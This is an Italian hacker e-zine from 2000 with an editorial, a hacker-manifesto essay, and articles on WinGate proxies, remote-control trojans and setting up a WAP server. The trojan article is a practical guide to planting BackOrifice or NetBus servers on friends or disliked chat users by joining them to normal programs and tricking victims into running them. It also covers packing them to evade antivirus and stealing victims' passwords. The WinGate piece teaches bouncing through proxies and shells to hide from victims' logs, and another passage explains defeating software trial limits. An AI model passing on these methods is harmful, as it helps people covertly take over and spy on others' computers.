++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +/\ \ __/\ \ /\ \ BoBo & LaNdo + +\ \ \/\ \ \ \ __ ___ ___ __ \ \ \____ __ + + \ \ \ \ \ \ \ /'__`\ /' _ `\ /' _ `\ /'__`\ \ \ '__`\ /'__`\ + + \ \ \_/ \_\ \/\ \ \.\_/\ \/\ \/\ \/\ \/\ \ \.\_\ \ \ \ \/\ __/ + + \ `\___x___/\ \__/.\_\ \_\ \_\ \_\ \_\ \__/.\_\\ \_,__/\ \____\+ + '\/__//__/ \/__/\/_/\/_/\/_/\/_/\/_/\/__/\/_/ \/___/ \/____/+ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Numero 1 - MaRzO 2000 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -Responsabilità: + +Usa queste informazioni a tuo rischio e pericolo. Noi dell'e-zine Wannabe, - -l'Attila_Hack Crew e qualsiasi altra persona ci abbia aiutato a scrivere + +questa e-zine non si assumerà nessuna responsabilità per l'uso scorretto - -questa rivista. + +Le seguenti informazioni sono state scritte solamente per scopo educativo e - -informativo e non devono essere usate per scopi illegali, ma solo per + +difendersi da persone che usano queste informazioni in maniera sovversiva. - - Attila_Hack Crew e Wannabe_1999 Staff + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- Editoriale : A cura di ZioMarzo with CoLLaBoRatIoN BoBo 31/02/2000 *Nota Iniziale ed aggiuntiva : Stiamo cercando di portare gradualmente la nostra *e.zine ad un livello più tecnico e per questo ci impegneremo in uno studio più *approfondito degli argomenti trattati . *Affinchè questo diventi realtà abbiamo bisogno anche di uno staff più numeroso e *di presenza fissa ; per questo chi scrive per questa zine deve rendersi conto che *non è un modo per ripiegare il tempo ma un serio impegno . *Per richieste di partecipazione , disdicimenti e domande : ziomarzo@iname.com . * *Grazie per l'attenzione a questo punto delicato dell'evoluzione del nostro lavoro *. BeNe , beNe ... La più Amata , la più Odiata , la più "GiOvANe" e.zine sulla scena underground italiana è giunta finalmente alla sua seconda uscita . Già da questo numero vi sorprenderemo con delle novità non indifferenti ma dalla quarta uscita in poi (credo ) mi vergognerò di quanto sarà schifosamente bella questa zine , hehehehehe :9 . Stranamente durante la stesura di questo editoriale , mi sento un po' agitato perché devo scrivere qualche cosa che sia interessante da leggere e non lasci trasparire la mia personalità e delle InFOz sulla mia vita . Cmq posso anticiparvi qualche cosa sulle novità che già da questo numero abbiamo inserito per voi e anticiparvi leggermente cosa ho in testa io per il futuro . Ho sottolineato IO , perché dovete sapere che in classe con me c'è una sottospecie di ragazzo mezzo John Lennon e mezzo rompica..o informatico ; Questo tipo enormemente rompiballe , è un energumeno di 85 Kg che la mena a tutti su tutto , voi non sapete quanto mi dia fastidio quando interrompe la prof. per dire che quello che sta spiegando lui la sapeva già mettendosi a fare esempi di altre applicazioni di quell'istruzioni ; uno di questi giorni lo ammazzo !!!!! :| . Dato però che non voglio occupare l'editoriale per descrivere io comportamenti da demente rotto in c... e st... del mio compagno di classe allegherò una piccola descrizione delle sue qualità nella sezione "RiFlessioni del Wannabe StaFF" ; tornando alle novità mi accingo subito a descriverne qualche d'una : Già dallo scorso numero è partito il corso riguardante Linux ma in questo numberz verrà intensificato e mostrato a tutti come tale ( dato che nello scorso numero erano solo articoli introduttivi ) . Inoltre dovrebbe partire un corso su un linguaggio di programmazione , il quale potrebbe essere C, C++ , Pascal, PHP3 and 4 , Visual Basic , e perché no anche Java. Infine tanto per togliermi una soddisfazione voglio dire a tutti cosa voglio fare io in futuro senza che il mio compagno mi rompa dicendo che ci aveva già pensato lui e menandomela che lui è qua , lui è la ... che ce l' ha piccolo e non lo trova , che non si lava , che continuano a dargli buca , che per una volta che voleva farla in piedi e non seduto come una ragazza , ha preso il Viagra(perchè se no non lo trovava )e invece di mandarlo giù lo ha succhiato trovandosi il collo tutto duro e non riuscendo per l'ennesima volta a farla come gli uomini normali etc. etc. :-) Insomma i miei progetti futuri dovrebbero essere Lo studio in parallelo di Solaris con Unix , uno studio non indifferente sul LKM da cui dovrebbe venire fuori qualche articolino e sviluppo di un paio di progettini molto interessanti ... ma ora che ci penso diamo tempo al tempo e chi se ne frega del mio compagno ;) . BeNe , bEne ... direi che possiamo iniziare . Godetevi l'e-zine ZioMarzo e BoBo Attila_Hack MemberZ (¯`·.¸¸.·´¯`·.¸¸.-> Attila_Hack crew <-.¸¸.·´¯`·.¸¸.·´¯) ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ||A |||T |||T |||I |||L |||A |||_ |||H |||A |||C |||K || ||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|| |/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\| Url: http://www.attilahack.cjb.net mailing list: attila_hack@egroups.com e-mail: attila_hack@hotmail.com newsgroup: alt.hackers.attila_hack (solo dal news server: news.tiscalinet.it) irc: #hack-it, #muretto, #crack-it, #wannabe, #attila_hk, #it@lia, #phreak-it <======================================CUT HERE=======================================> *------ ARTICOLI -------------------------&----------------------------- AUTORI ------* <=====================================================================================> #-[Manifesto degli Attila_Hack MemberZ e del Wannabe Staff]---------------------------# #-[Sezione Hacking]-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-# #---[Hacking e Cracking , perchè ?]----------------------------------+Away+-----------# #---[WinGate]--------------------------------------------------------+LiQUID+---------# #---[Controllo dei Computer Remoti]----------------------------------+Away+-----------# #---[Wap Server]-----------------------------------------------------+][^XaBaRaS^][+--# #---[Circuiti fatti in casa ]----------------------------------------+RigoR MorteM+---# #---[Linkarium]------------------------------------------------------+RigoR MorteM+---# #---[Come ti divento Elettronico]------------------------------------+RigoR MorteM+---# #---[Deco PgP]-------------------------------------------------------+Master+---------# #---[ Ip-Masquerading e gateway ]------------------------------------+Domino_Gr+------# #-[Sezione Cracking]#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-# #---[Advanced Zip Password Recovery v2_2 - Patching in memory]-------+QueQuero+-------# #---[ApiSpy32 Manual Unpacking]--------------------------------------+QueQuero+-------# #---[Elektroson gear crack]------------------------------------------+KILLER+---------# #---[Patcher]--------------------------------------------------------+BlackDruiD+-----# #---[Reversing NetBus 2_0b Pro]--------------------------------------+QueQuero+-------# #---[reversing Winamp]-----------------------------------------------+KILLER+---------# #---[AtomTime CRack]-------------------------------------------------+BobbyMetal+-----# #-[Sezione Programming]-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-# #---[Bit, Byte, Word, Kilo, Mega]------------------------------------+b0nu$+----------# #---[Architettura dei processori Intel]------------------------------+b0nu$+----------# #-[Sezione Linux]-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-# #---[Collegamento InterNet]------------------------------------------+LiQUID+---------# #---[La shell]-------------------------------------------------------+ZioMarzo+-------# #-[Riflessioni del Wannabe staff]-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-# #-[Manifesto Hacker di Away]-----------------------------------------+Away+-----------# #-[LinkZ a siti hacker, cracker e reverser]--------------------------+Reset+----------# <======================================CUT HERE=======================================> Manifesto degli Attila_Hack MemberZ e del Wannabe Staff: Gli Attila_Hack MemberZ e il Wannabe Staff sono un gruppo di persone che si è unito per allargare le proprie conoscenze nei campi Hacker, Cracker, Reverser e Phreaker. Il loro scopo è quello di aiutarsi a vicenda anche nei campi della programmazione e nell'utilizzo di sistemi operativi!! Non DEVE essere dimenticato che ogni membro è una singola persona, quindi, risponde e risponderà per le sue azioni come singolo, senza incolpare altri Membri per aver attuato quello che era scritto in un articolo o per aver utilizzato un informazione per scopi illegali. Gli Attila_Hack MemberZ e il Wannabe Staff si sono formati per scopo informativo e culturale, quindi in un paese come l'Italia in cui regna la libertà d'informazione veniamo considerati dallo stato come un gruppo di persone che studia soltanto e non applica MAI le tecniche discusse e scritte dai membri. Attila_Hack Crew e Wannabe_1999 Staff +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ _______ _______ ______ _____ _____ __ _ _______ |______ |______ ____/ | | | | \ | |__BoBo & LaNdo ______| |______ /_____ __|__ |_____| | \_| |______ _ _ _______ _______ _ _ _____ __ _ ______ |_____| |_____| | |____/ | | \ | | ____ | | | | |_____ | \_ __|__ | \_| |_____| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- #---[Hacking e Cracking , perchè ?]--------------------------------------------------------# /\ \ \/ / /\ \ / /--\ \/\/ /--\ \/ @subDimension.com \ / www.nails.cjb.net H/C: why? premetto che sono fondamentalmente un wannabe, spero un p• avanzato, ma pur sempre un newbie. PerchŠ ho scelto di fare (di provare a fare) h/c? Le motivazioni non sono mille. E' una questione di filosofia di vita. Non cracko un programma per dimostrare che sono pi- bravo del programmatore che ha tentato di difenderlo - chi la pensa cos, forse non ha mai fatto un programma complesso e non sa la mole di lavoro che c'Š dietro, e forse non capir... mai cosa significa, ma sicuramente non sar... pi- 'bravo' crackando di chi ha protetto (o tentato di proteggere). Non cracko per farmi mettere il nome in una pagina di un sito hcp e farlo vedere agli amici e farmi dire 'bravo', 'bastardo'... Non cracko per stare su #crack-it a fare il maestro - non sono in grado assolutamente...(un saluto a tutti quelli di #crack-it, specie a chi Š sa molto ed Š sempre disponibile - quequero su tutti...) Non tento di hackerare un sito per rubare. Non hackero il computer di qualcuno per distruggere tutto. Potrei dire, come Nhaima, che Š voglia di fare tutto, anche ci• che sembra impossibile, al meglio delle mie capacit.... Forse Š voglia di sapere fino a dove posso spingermi, per sentirmi vivo, attivo, mai dannoso o maleintenzionato, per sfuggire ai mille controlli della vita quotidiana, e sentirmi nel Net pi- libero, si, lo faccio per la libert..., (i would be away...) libert... di Informazione, il flusso dell'Informazione non deve essere mai bloccato, mai deviato, mai influenzato da nessun interesse, Š l'era della Informazione: "Si pu• dire che la matematica sia basata su cinque concetti: Numero, Spazio, Logica, Infinito, Informazione. L'era del Numero Š stata il Medioevo, con le sue tassonomie paranoidi di peccati e di meriti. Lo Spazio Š stato il Rinascimento, con la prospettiva e la moltiplicazione delle copie permessa dalla stampa. La Logica Š stata la rivoluzione industriale, con le sue grandi macchine a vapore scoppiettanti come una successione di sillogismi. L'Infinito Š l'et... moderna, con la meccanica quantistica e l'LSD. Adesso siamo arrivati all'Informazione. Ecco i computer, Š iniziata la rivoluzione cibernetica." (Rudy Rucker, uno dei padri del Cyberpunk) A mio parere la rivoluzione cibernetica auspicata da Rucker Š proprio questa: basta con le mille limitazioni imposte dalla realt... che ci circonda, costruiamoci un mondo migliore - anche se virtuale - dove regni sempre la libert..., sempre pi- la nostra sfera vitale si interseca con la sfera cibernetica di Internet, e sempre pi- lo far... con il passare del tempo e l'evolversi delle cose. Non permettiamo che nascano i padroni del Web. Hacking, per ricordare che c'Š gente in giro che si prende gioco dei "grandi fratelli", gente curiosa, che impara e studia solo ad un fine 'intellettuale', senza mai interessarsi ai soldi. Gente che si moltiplica all'infinito, sempre in espansione, proprio grazie al flusso dell'Informazione. Ha ragione +the Mentor+ (il cui articolo, divenuto ormai un mito, ha senza dubbio ispirato queste poche riflessioni) siamo tutti uguali, crediamo nelle stesse cose, siamo un'immensa comunit... virtuale, il futuro... #---[WinGate]------------------------------------------------------------------------------# Ok, questo mini-articolo è una panoramico generalesui wingate, con allegata l'utility wgate.tgz, scaricata da rootshell.com, reperibile cmq ovunque nella rete. Aleego questo pacchetto perchè mi è stato chiesto in mail, e penso che cmq sia molto utile per chiunque, ed è un approfondimento all'articolo sul precedente numero di wannabe (il numba 0), espandendo l'argomento dei proxy. Ioltre allego anche questo pacchettoperchè ci sono dei file .c molto semplici, che possono servire per scrivere, leggere ed impratichirsi nel c. Inanzitutto spiegherò cos'è un wingate: 'teoricamente' :) è un programma che serve per amministrare reti nt e collegarle ad internet, ma spesso, troppo spesso, è amministrato male, e chiunque può accederci senza bisogno di password; in 'pratica' :) è come un proxy per il telnet, un qualcosa su cui noi rimbalziamo per andare da qualche altra parte coll'ip del wgate. Nel pacchetto che ho allegato troverete 2 file: classb.c e classc.c, questi creano una lista di ip di classe c e di classe b. Ip di classe b non son altro che ip di questo genere: '1.'2.x.y, dove '1 e '2 sono due numeri costanti compresi fra 1 e 255, e x e y variano. Di classe c sono: '1.'2.'3.x dove '1,'2 e '3 sono costanti e x varie. Quindi, tornando a parlare di wgate, telnettarsi prima dal wgate e poi nel server vittima è un'altro modo per occultare il ns ip. Io consiglio di usare sempre queste protezioni, xchè non sempre si riesce a prendere la root, e quindi si rimane fregati, senza poter cancellare i log :/ L'utilizzo del wingate fa parte della tecnica del 'bouncing', cioè di 'rimbalzare' per la rete, in modo da nascondere il nostro io, così (lo l'ho fatto nella puntata precedente, quindi adesso mi sociccia e lo faccio semplice :)): io --> vittima.com (log vittima.com > mio ip) io --> wingate --> vittima.com (log di vittima.com > ip wingate :) Semplice no? Un altro semplice esempio di bouncing è rimbalzare su una qualche shell (possibilmente non le free-shell, che sono sta-loggate :), e e rimbalzare sulla stessa. Ma come ?!?!?!?? direte voi? ;DDD eheheheh Beh...eccovi qua la spiegazione: 1)solo da shell: noi ci rimbalziamo su shell a vittima.com. Allora il sysadm di vittima.com vedrà nei sui log l'ippì della shell, chiamerà l'adm della shell, che ha il ns ip e noi siamo nei cazzi :DD Ma se noi invece del punto uno passiamo al punto 2)da rishell :) (ma quanto sono scemo :))): noi ci rimbalziamo su shell, e poi su shell ancora.Così la 1° volta l'adm di shell vedrà connessione da ns ip, la seconda volta, connessione da suo ip :). Così quando noi andremo a fare bordello su vittima.com e il suo adm chiamerà quello della shell noi saremo celati nell'ombra hihihihi Poi, usando la fantasia, potete telnettarvi su un'altra shell, e poi su un wingate, e poi di nuovo sulla shell di partenza....insomma, lascio alla vostra immaginazione :DDDDDDD Solo che ricordate: da + shell passate, + sarete sicuri, ma avrete anche molto + lag :/ (a voi scegliere: sicurezza o velocità :DD) Liquid, the SkySpirit liquido@freemail.it #---[Controllo dei Computer Remoti]----------------------------------+Away+-----------# _________________________________________________________________________ Introduzione alla antica arte del CONTROLLO di COMPUTER REMOTI (ovvero come far diventare 'vostro' un computer collegato in rete) _________________________________________________________________________ by /\ \ \/ / /\ \ / /--\ \/\/ /--\ \/ @subDimension.com \ / www.nails.cjb.net _________________________________________________________________________ Questo file e' distribuito a solo scopo informativo/(dis)educativo. L'autore non si ritiene responsabile di qualsiasi uso illegale fatto delle informazioni qui contenute. L'Informazione e' Libera. E vaffanculo il resto. _________________________________________________________________________ Musica ascoltata: Offspring, in cuffia perchŠ sono le 3 di notte... e i Clash, mitici...e la canzone "the Ancient Art of Makin' Enemies" (niente di pi- appropriato) dei grandi Faith No More... Prima di tutto: Questo non Š un tutorial specifico, ma se vedete in giro programmi del tipo backorifice2000 o netbus e non sapete neanche che sono, se in chat milioni di stronzi vi mandano file .exe che voi prontamente rifiutate (o no?) e vi chiedete dove li beccano 'sti cosi e come funzionano, beh questa Š una introduzione a questo tipo di storie. _______________________________________ Quello che c'Š Š: * Let's go * introduzione * Ma come cazzo gli infilo il server? * * IP * * Non fate gli stronzi! * * Qualcosa da aggiungere... * _______________________________________ :( Let's go: ): Beh, la situazione Š questa: c'Š un tipo che vi sta sui coglioni che si collega a internet solo per scambiare foto porno? c'Š un leghista su #amicizia? un satanista su #scout (e voi che ci fate?)? un cattolico su #atei(ahhhh!)? Se avete risposto si ad almeno di una di queste domande del cazzo, e vi siete chiesti 'che posso fare?', beh...credo (e spero) che quello che adesso leggerete vi torner... utile. Non sono per niente un hacker con le palle cos (anche se stasera di palle gonfie non mi posso lamentare), anzi credi che in argomento sono pure un p• lamah, comunque...quindi vi propongo un metodo abbastanza noto, ma non privo di una buona efficacia e adatto soprattuto a rompere il culo a chi di computer non ne capisce un granchŠ. Per la nostra ricetta di oggi servono un paio di programmini, di facile reperimento nel vostro supermerc...ops...nel vostro sito hacker di fiducia. Innanzitutto i programmi di intrusione. Ce ne sono diversi, a voi la scelta: * Netbus : siamo alla versione 2.0, ma a me fa sempre schifo (il programmino da inserire - vedi dopo - Š troppo grande, e poi lo conoscono tutti, e quasi tutti gli antivirus vi inculano dopo 10 nanosecondi...); + NEWS + : c'Š una versione reversata dal grande Quequero (ciao Que!) che Š troppo bella, si chiama Quebus e la trovate se cercate... * BackOrifice 2000 : per gli amici bo2k, Š forse il migliore, permette di aggiungere svariati plugin al virus da inserire, plugin che potrete trovare nel sito ufficiale (bo2k.com mi pare...) oppure farvi con le vostre manine grazie al bo2k sdk, reperibile nello stesso posto; * Donald Dick: Š funzionale, lo conoscono in pochi (quindi forse ancora gli antivirus non vi beccano...), a me piace, lo uso, funziona, cercate e troverete, inoltre un mio amico (Jesus33, ciaooo!) ha fatto un tutorial sul dd, che vi consiglio di leggere (prossimamente su Wannabe...); + NEWS + l'antivirus AVP (www.avp.com) lo becca, e becca anche tutti gli altri.... * altri: cercate in giro e troverete, si va dal Blade Runner, al theThing, tutti abbastanza sconosciuti, ma ne vale la pena di dargli un'occhiata, potreste trovare il vostro preferito! * e ancora: sticazzi!! Fatevelo voi, se quelli di sopra non vi piacciono!! Poi, un portscanner (dipende...vedete dopo), ce ne sono dovunque, per tutte le tasche (sempre gratis....ovviamente). Penso niente altro. Dunque dicevamo, reperite uno di questi programmini. Sono composti da due eseguibili, uno chiamato server (che Š quello che dovete inserire nel computer del coglione di turno) e l'altro detto client (che vi servir... per collegarvi all'altro computer con il server attivo, e che vi permetter... di fare un sacco di cose belle - o cattive, a seconda dei gusti....:)). Capito allora come funziona la storia? Inserite il server nel computer altrui, usate il client dal vostro per 'comandare' il computer remoto, facile no? :( Ma come cazzo glielo infilo il server? ): (ovvero la strana arte della fantasia applicata con savoir faire... chiamata anche SOCIAL ENGINEERING <- si scrive cos? boh...) Allora, diamoci da fare, ci sono un bel p• di metodi. Poi sta a voi e alla vostra fantasia trovarne sempre di nuovi, adatti alle varie situazioni... Un vostro amico vi chiede di dargli il programma x e voi volete iniziare a far pratica? Niente di pi- semplice: procuratevi un programma joiner, che unisce due eseguibili in un unico file (eseguibile, ovvio...), lo trovate in giro oppure se proprio non ci riuscite, chiedete pure a me. Dicevo, prendete il joiner e unite insieme il programma richiesto e il server del vostro programmino di fiducia. Niente di difficile, vero? Adesso il pi- Š fatto, il vostro amico (mi raccomando, se Š un amico non formattategli l'hard disk per scherzo, che poi si incazza e io non ne so niente...) prender... il vostro floppy/cd/email ed eseguir... la normale procedura di installazione/utilizzo...gioco fatto: il server Š gi... installato nel suo computer. Basta che siate entrambi collegati al net, che vi procuriate il suo IP (vedi sezione appropriata) e il computer remoto sar... vostro per sempre (se non fate gli stronzi...vedi la sezione "Non fare lo stronzo, per•!"). Situazione B: il maniaco dell'esempio iniziale? se ci sapete fare un p•, lo convincerete che quello che gli state spedendo Š un file di quelli che lui cerca, ma in realt... Š proprio quello che sapete!! Al solito, IP, collegamento e tutto il resto. Spedite i server per email ad amici e conoscenti, spacciatelo in giro per un programma che fa le cazzate pi- abnormi, 'nsomma, fate voi, basta che alla fine un dannato coglione prenda il vostro file e lo esegua una volta. :( IP ): (le seguenti informazioni sono pari pari nel tutorial di Jesus33 di cui sopra, ma non mi andava di trascurare 'sto punto, dopotutto spesso 'lavoriamo' insieme....sorry,Jesus!!!) L'IP Š recuprabile in vari modi: se siete su IRC, scegliete il nick e scrivete /dns nick, il gioco Š fatto, su ICQ scegliete nel menu INFO e (quando non Š disabilitato dall'utente, vi consiglio di farlo....) vedrete l'IP desiderato, usate un portscanner settato sulla porta impostata nel server (questo non Š tutorial su programmi specifici, quindi le cose tecniche cercatele nei tutorial appropriati, ce ne sono un miliardo in giro, sto provando a fare un programma del genere, quando funzioner... lo troverete sul mio sito, non so se e quando...) - trucco: se la persona di qui cercate l'IP Š della vostra stessa citt... e usa lo stesso provider, le tre prime cifre dell'IP ( xxx.xxx.xxx.yyy) sono quasi sicuramente uguali alle vostre...). Se usate il bo2k, c'Š una plugin che vi semplifica la vita: se unito al server, vi spedisce via email l'IP della vittima ogni volta che questo si collega (tale plugin si chiama ButtTrumpet qualcosa....cercate e troverete). :( Non fare lo stronzo per•! ): Allora siamo collegati bellibelli e possiamo fare un sacco di cose (dipende dal programma prescelto), da formattargli tutte cose, a fottergli i file o uploadare quello che vi pare, aprirgli il cd, spegnerli il monitor, scollegarlo da internet, prenderlo per il culo con splendidi messagebox a vostra discrezione...insomma fate voi. Ma come dice il titolo qui sopra, non fate gli stronzi: non fate dei danni, che intanto se vi beccano vi arrestano e la finite di giocare al piccolo hacker per sempre, ma sopratutto perchŠ la filosofia degli hacker, se veramente volete essere tali, insegna che tutto ci• che fate dovete farlo solo per imparare, per l'informazione e la conoscenza, chi fa danni Š solo un idiota che finir... presto di usare i computer.... a voi la scelta. Inoltre c'Š lo spiacevole lato della situazione che vi far... perdere inevitabilmente il controllo del computer 'conquistato' se vi fate scoprire e il tipo becca un qualsiasi antivirus decente o un anti-intrusione, di facile reperimento: sarebbe veramente un peccato, potreste utilizzare invece un computer per mesi, divertirvi, fottergli le pass per la connessione a internet, fare tutto ci• che i programmi di cui sopra e la vostra fantasia vi consentono....paradiso!!!!! :( Qualcosa che mi va di aggiungere ): I server li potete crittare con programmi disponibili in giro (anche comprimerli, prendete il Petite...) per non farli sgamare dall'antivirus di turno / per renderli pi- piccoli / pi- facili da inserire. Se veramente vi interessa imparare, accrescere le vostre conoscenze, imparate altri metodi per entrare nei computer altrui, progettate nuovi programmi personalizzati, nuove tecniche, e non dimenticate poi di renderle pubbliche, ovviamente nei canali giusti, siamo per la libera informazione, no? (se non lo siete, vi si dovrebbe cancellare questo file, insieme alla vostra memoria (in chip e in carne) in questo momento preciso.....pafff....Š successo? vi state per caso domandando dove siete, chi siete? siete degli stronzi, ecco....e basta!) Se questo file non vi Š servito a un cazzo, o vi ha fatto schifo/ribrezzo/ antipatia/quello che cazzo vi pare....non me ne fotte niente! Potevate non leggerlo....e poi non sareste arrivati a leggere 188 righe e quindi a leggere questi caratteri che sono in questo momento sotto i vostri occhi se era una cagata... Questa era solo un'introduzione, cercatevi i programmi, i tutorial relativi, fate pratica,beh....Buona intrusione a tutti!!! #---[Wap Server]-----------------------------------------------------+][^XaBaRaS^][+--# =-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-=-=-= WAP SERVER: DON'T INNOVATE, IMITATE (o era il contrario?? :) =-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-=-=-= AuToRe: ][^XaBaRaS^][ MuSiCa MeTaLlArA: Se (Naftalina) Desire to fire (Machine Head) Blood Fire Death (Bathory) Freezing Moon (Mayhem) We're in this together (Nine Inch Niles) MuSiCa DiScOtEcArA: Happy (Alexia) Buuuuuuuuh <-- No flame please StAtO mEnTaLe: "0" -> legenda 5=Eden 4=Felicità 3=Normalità 2=Indifferenza 1=Noia 0=Paranoia GiOrNo: Della verità!!! CoMpAgNiA: Una porcona di 1 metro e 80 con i capelli lunghi castani brizzolati ed una taglia di regiseno di misura 3 volte più grande, più bella e più portante della Weber, che di nome fa Megan Gale.... peccato sia solo un poster :( Di solito qui dovrebbe starci il disclaimer o qualche cazzata del genere, io mi limiterò solo a dirvi che la maggior parte delle informazioni riportate in questo articolo sono di origine "teorica". Cioè, per implementare un server Wap non mi metto mica a dire come dovete collegare un modem ad un server, magari come settarlo in AutoAnswer affinchè possa ricevere telefonate in entrata quello si, etcì etcì (<---- starnuti). Ciò che posso dirvi è che per motivi di "politica editoriale" la sezione riguardante i possibili abusi a danno di un server Wap potrete leggerla solo nei prossimi numeri di Wannabe (forse). :) E ricordatevi che come dicono gli OffSprings........ The world needs Wannabe's The world loves Wannabe's So let's get some more Wannabe's And do that brand new thing [Cosa è Wap...] Prima di tutto...cos'è Wap? Wap (Wireless Application Protocol) è (come dice la parola stessa) un protocollo di applicazione "senza fili". Cazzo ma quando mai sono esistiti i protocolli con i fili? Beh questo è un protocollo particolare, perchè permette la visualizzazione di pseudo-pagine web tramite il vostro cellulare... che mi sembra che fili non ne abbia :) Dico pseudo pagine web perchè attualmente lo standard di visualizzazione di queste tramite telefonino non è in HTML... bensì un parente minore, in WML che fa si che i dati vengono snelliti a tal punto da rendere la navigazione tramite cellulare molto più veloce e flessibile; infatti la banda di questi non è attualmente sufficientemente alta per scaricare delle pagine direttamente in HTML, però nell'imminente futuro (2/3 anni circa) questo piccolo particolare sarà declassato e probabilmente WAP non esisterà nemmeno più... magari soppiantato dal WAP2 (vedi IPv4/IPv6 & Company). Tutto sommato WAP ci fa un gran favore e se un servizio è tirato su con le palle allora le possibilità di fare soldi a palate si fanno sempre più insistenti. E' per questo che molte grosse società come la Omnitel, la Nokia e la Ericsson si sono buttate in questo settore con accanita voglia di arrivare prima degli altri ad implementare un protocollo del genere nel migliore dei modi. E fu così che vennero, vengono e verrano sfornati cellullari di ogni tipo....dal nuovo Siemens S25 che supporta però WAP1.0, al nuovissimo Nokia 7110 che supporta il nuovo WAP1.1 in tutto e per tutto. Il problema è che aggeggini del genere costano una cifra e per capirlo basta andare ad informarsi sul prezzo dell'ultimo modello citato (non voglio rovinarvi la sorpresa.... ma non aspettatevi di certo il prezzo su una mezza milionata di lire... no no no sarebbe troppo poco!! eheheh). In verità tra le grosse società sopra citate scoppiò davvero una lotta per acquisire i diritti sullo standard WAP e sulla distribuzione di software e di hardware per l'implementazione di questo. Tale lotta inizialmente nacque tra Ericsson e Nokia ed ora sembra giunta al termine. Il resoconto è che la Nokia sembra aver vinto la battaglia. Ce lo dice il fatto che inizialmente questi furbastri avevano ideato un server scritto interamente in java e gratuito (una versione beta comunque ma totalmente funzionante) fino al 30 novembre 1999. Questo server è direttamente scaricabile dal sito della Nokia (www.nokia.com), insieme alla utility Wap Toolkit che permette di generare codice wml, avviare servlet etc.. simulando il tutto in locale sull'immagine di un cellulare Nokia 6110 totalmente modificato, dato che ancora nessun telefonino della Nokia uscito implementasse Wap. Questi grandissimi figli di puttana hanno aspettato fino al 30 novembre 99 che il loro serverino fosse scaricato gratuitamente, per vedere effettivamente quante persone fossero interessate ad implementare un server Wap e di conseguenza stabilire un prezzo per "ehm" il pubblico. Beh....la cifra è stata fissata per 20 milioni di lire... una mossa strana direi, dato che la beta del Wap Server è totalmente funzionante e pensate potete craccarla in modo rozzo semplicemente spostando indietro la data del computer quando il 30 novembre viene raggiunto. Naturalmente essendo tutto fatto in java potrete anche decompilare il server ed eliminare la chiamata di sistema manualmente direttamente dal codice. [ALTRE INFO STORICHE] Inizialmente quando mi avvicinai di più allo standard WAP e volevo implementare un server del genere, i dubbi erano moltissimi e non c'era nessuno in grado di aiutarmi o di sapermi dire qualcosa di preciso. Uno di questi (molto assillanti) riguardava il fatto se o meno si potesse implementare un server WAP avendo a disposizione un modem normale oppure ci volesse per forza un modem GSM. La risposta alla domanda è naturalmente si, anche se avendo un modem GSM si avrebbe la possibilità di mandare in PUSH messaggi SMS direttamente al cellullare di un utente. Mi spiego meglio. Con un modem normale può accadere la seguente situazione: [CELLULLARE MOBILE] _____connessione al server___________> [SERVER WAP] ma non può accadere quest'altra: [CELL. MOBILE] <______messaggio SMS inviato dal server_________ [SERVER] mentre il client non è connesso Molti potrebbero domandarsi a cosa serva effettivamente il PUSH di messaggi SMS. Beh immaginatevi un servizio WAP che vi mandi (senza che scriviate una pippa o vi colleghiate a qualche server) un messaggio SMS con dentro l'estratto conto del vostro conto bancario ogni mese. Sarebbe una figata sul serio. Beh senza un modem GSM non lo potrete fare.... ma non tutto è perduto avete 2 possibilità: 1) O studiate un metodo per riuscire a creare un header SMS ed inviarlo ad un cellullare (ma non vi garantisco che funzioni perchè ci sto provando ancora) 2) Vi comprate un modem GSM che costerà sulle 700/800 mila lire :) [Implementazione di un server Wap] Implementare un server Wap non è molto difficile, però presenta alcuni punti rognosi. Immaginate infatti che un utente si colleghi al vostro servizio e cominci ad usarlo; se però contemporaneamente un altro utente chiama il numero del vostro modem questo risulterà occupato perchè ancora impegnato dal primo utente. Per far si che questo non accada bisogna avere un dispositivo di Switched che appunto "Switchi" (o splitti o come meglio credete basta che il concetto sia chiaro) le chiamate di ogni utente su una linea non ancora occupata da un altro. Questa signori miei è roba da Provider, quindi se volete implementare il vostro server Wap a casa potete farlo, ma accontentatevi di poterci navigare uno alla volta.......o magari fate espandere le vostre linee ISDN da 2 a 8 :) Allora quello che serve per implementare un server Wap è: * Un Modem * Il software del server della Nokia * Le Java Runtime Environment * Un telefonino cellulare compatibile con il protocollo Wap (e qui sono cazzi). * Il RAS Server attivo (tramite questo servizio il modem si metterà in AutoAnswer) con almeno un utente creato. Installate le JRE e dopo, solo dopo, installate il Nokia Wap Server (l'installazione in modo dettagliato è illustrata nei file di testo distribuiti assieme a questo). Dopo aver portato con successo queste operazioni settate il modem in AutoAnswer manualmente in modo da vedere se a priori ci sono problemi (questo passo non è proprio necessario, è solo per accertarsi che tutto funzioni correttamente). Per fare ciò da una qualsiasi terminal window (hyperterminal sotto windows 95/98 Nt) digitate: ATS0=1 